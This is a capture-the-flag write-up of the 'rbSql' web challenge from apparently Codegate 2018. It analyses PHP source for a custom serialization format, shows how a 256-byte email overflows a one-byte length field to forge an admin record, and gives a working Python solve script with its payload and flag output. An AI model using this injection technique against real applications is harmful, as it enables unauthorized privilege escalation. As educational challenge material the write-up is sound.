## rbSql (Web, 215pt)

> http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/  
>  
> [Download](src)

![](site.png)

I solved this challenge alongside my teammate
[@tomtoump](https://github.com/tomtoump).

Source code was given for the challenge - you can find it in the [src](src)
folder.

The challenge requires us to login with an admin account (`$_SESSION['lvl']
=== "2"`) and access our profile in order to get flag.

```php  
elseif($page == "me"){  
echo "

uid : {$_SESSION['uid']}

level : ";  
if($_SESSION['lvl'] == 1) echo "Guest";  
elseif($_SESSION['lvl'] == 2) echo "Admin";  
echo "

";  
include "dbconn.php";  
$ret = rbSql("select","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);  
echo "

mail : {$ret['1']}

ip : {$ret['3']}

";  
if($_SESSION['lvl'] === "2"){  
echo "

Flag :

";  
include "/flag";  
rbSql("delete","member_".$_SESSION['uid'],["id",$_SESSION['uid']]);  
}  
}  
```

Before going deeper, the overall application functionality is outlined below.

```php  
if ($page == "login") { // GET /?page=login  
//...  
} elseif ($page == "join") { // GET /?page=join  
//...  
} elseif ($page == "login_chk") { // POST /?page=login_chk  
//...  
} elseif ($page == "join_chk") { // POST /?page=join_chk  
//...  
} elseif ($page == "photo") {  
//...  
} elseif ($page == "video") {  
//...  
} elseif ($page == "me") {  
//...  
} elseif ($page == "logout") {  
//...  
} else {  
//...  
}  
```

The application implements a **custom file-based database** (`dbconn.php`)
allowing common CRUD operations (apart from update but this is not important
for the challenge).

In order to start debugging, we can create the `rbSqlSchema` file using the
following code:

```php  
include "dbconn.php";  
$data = ["rbSqlSchema", "/rbSqlSchema", ["tableName", "filePath"]];  
rbWriteFile("./rbSqlSchema", $data);  
```

Upon user registration the following code is executed:

```php  
elseif($page == "join_chk"){  
$uid = $_POST['uid'];  
$umail = $_POST['umail'];  
$upw = $_POST['upw'];  
if(($uid) && ($upw) && ($umail)){  
if(strlen($uid) < 3) error("id too short");  
if(strlen($uid) > 16) error("id too long");  
if(!ctype_alnum($uid)) error("id must be alnum!");  
if(strlen($umail) > 256) error("email too long");  
include "dbconn.php";  
$upw = md5($upw);  
$uip = $_SERVER['REMOTE_ADDR'];  
if(rbGetPath("member_".$uid)) error("id already existed");  
$ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);  
if(is_string($ret)) error("error");  
$ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);  
if(is_string($ret)) error("error");  
exit("<script>location.href='./?page=login';</script>");  
}  
else error("join fail");  
}  
```

As seen in the `rbSql()` function, the statement

```php  
$ret = rbSql("create","member_".$uid,["id","mail","pw","ip","lvl"]);  
```

results in the creation of a separate table/file for each user and the same
file is read to handle user authentication.

```php  
case "create":  
$result = rbReadFile(SCHEMA);  
for($i=3;$i<count($result);$i++){  
if(strtolower($result[$i][0]) === strtolower($table)){  
return "Error6";  
}  
}  
$fileName = "../../rbSql/rbSql_".substr(md5(rand(10000000,100000000)),0,16);  
$result[$i] = array($table,$fileName);  
rbWriteFile(SCHEMA,$result);  
exec("touch {$fileName};chmod 666 {$fileName}");  
$content = array($table,$fileName,$query);  
rbWriteFile($fileName,$content);  
break;  
```

We also observe that users are registered with `lvl === 1` (guest).

```php  
$ret = rbSql("insert","member_".$uid,[$uid,$umail,$upw,$uip,"1"]);  
```

As shown above, user-input filtering is quite permissive:

```php  
if(strlen($uid) < 3) error("id too short");  
if(strlen($uid) > 16) error("id too long");  
if(!ctype_alnum($uid)) error("id must be alnum!");  
if(strlen($umail) > 256) error("email too long");  
```

It seems like we can inject whatever we like in the queries (no chars filtered
apart from length) but the question is what should we inject!

User registration triggers the following function chain:

```  
insert -> rbReadFile -> rbParse -> rbWriteFile -> rbPack  
```

User login triggers the following function chain:

```  
select -> rbReadFile -> rbParse  
```

Auditing the source code of the application we concluded that the most
important function to analyze is `rbPack()` which is used to serialize the
data passed as argument.

```php  
define("STR", chr(1), true);  
define("ARR", chr(2), true);

function rbPack($data){  
$rawData = "";  
if(is_string($data)){  
$rawData .= STR . chr(strlen($data)) . $data;  
}  
elseif(is_array($data)){  
$rawData .= ARR . chr(count($data));  
for($idx=0;$idx<count($data);$idx++) $rawData .= rbPack($data[$idx]);  
}  
return $rawData;  
}  
```

Byte `\x01` denotes string and byte `\x02` denotes array. Then **the length of
the data is stored in a single byte**.

```php  
$a = array("a", "bb");  
```

The above array will be serialized to the following:

```  
\x02\x02\x01\x01a\x01\x02bb  
```

Because the length is stored in a single byte, instead of `strlen($data)` the
code uses `chr(strlen($data))`.

In the [PHP documentation](https://secure.php.net/manual/en/function.chr.php)
we read the following:

> Values outside the valid range (0..255) will be bitwise and'ed with 255,
> which is equivalent to the following algorithm:

```  
while ($ascii < 0) {  
$ascii += 256;  
}  
$ascii %= 256;  
```

```  
❯❯❯ php -r 'echo chr(256);' | hexdump  
0000000 00  
0000001  
```

The final piece of the puzzle is that application will also allow email
addresses with 256 chars!

```php  
if(strlen($umail) > 256) error("email too long");  
```

The plan is to send a 256-bytes email that will result in the bytes `\x01\x00`
to prepend the email. The user will have an empty email address and we start
injecting the password field with the precalculated MD5 hash of the user
password. Then we inject the IP address which will also act as padding to
reach the required length of 256 bytes. Finally, we inject the user level
which will be `2` for admin.

Below is given the layout of our final payload:

```  
\x01\x201a1dc91c907325c69271ddf0c944bc72  
\x01\xD9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
\x01\x012  
```

Our solution is summarized in the [solve.py](solve.py) script.

```python  
import re  
import random  
import urllib  
import hashlib  
import requests

_target = 'http://52.78.188.150/rbsql_4f6b17dc3d565ce63ef3c4ff9eef93ad/'  
_pw = 'pass'  
_uid = str(random.randint(1000, 9999))

mail = '\x01\x20' + hashlib.md5(_pw).hexdigest()  
lvl = '\x01\x012' # lvl === '2' => admin

pad_len = 256 - (len(mail) + len(lvl) + 2)  
ip = '\x01' + chr(pad_len) + 'A'*pad_len

payload = mail + ip + lvl

print '[+] UID: ' + _uid  
print '[+] Password: ' + _pw  
print '[+] Payload: ' + urllib.quote(payload)

s = requests.Session()  
s.post(_target+'?page=join_chk', data={"uid": _uid, "umail": payload, "upw":
_pw})  
s.post(_target+'?page=login_chk', data={"uid": _uid, "upw": _pw})  
resp = s.get(_target+'?page=me')

flag = re.search('FLAG\\{([^}]+)\\}', resp.text).group(1)  
print '[+] Flag: FLAG{{{}}}'.format(flag)  
```

```  
[+] UID: 7951  
[+] Password: pass  
[+] Payload:
%01%201a1dc91c907325c69271ddf0c944bc72%01%D9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%01%012  
[+] Flag: FLAG{akaneTsunemoriIsSoCuteDontYouThinkSo?}  
```  

Original writeup (https://github.com/rkmylo/ctf-write-
ups/tree/master/2018-codegate-quals/web/rbSql-215).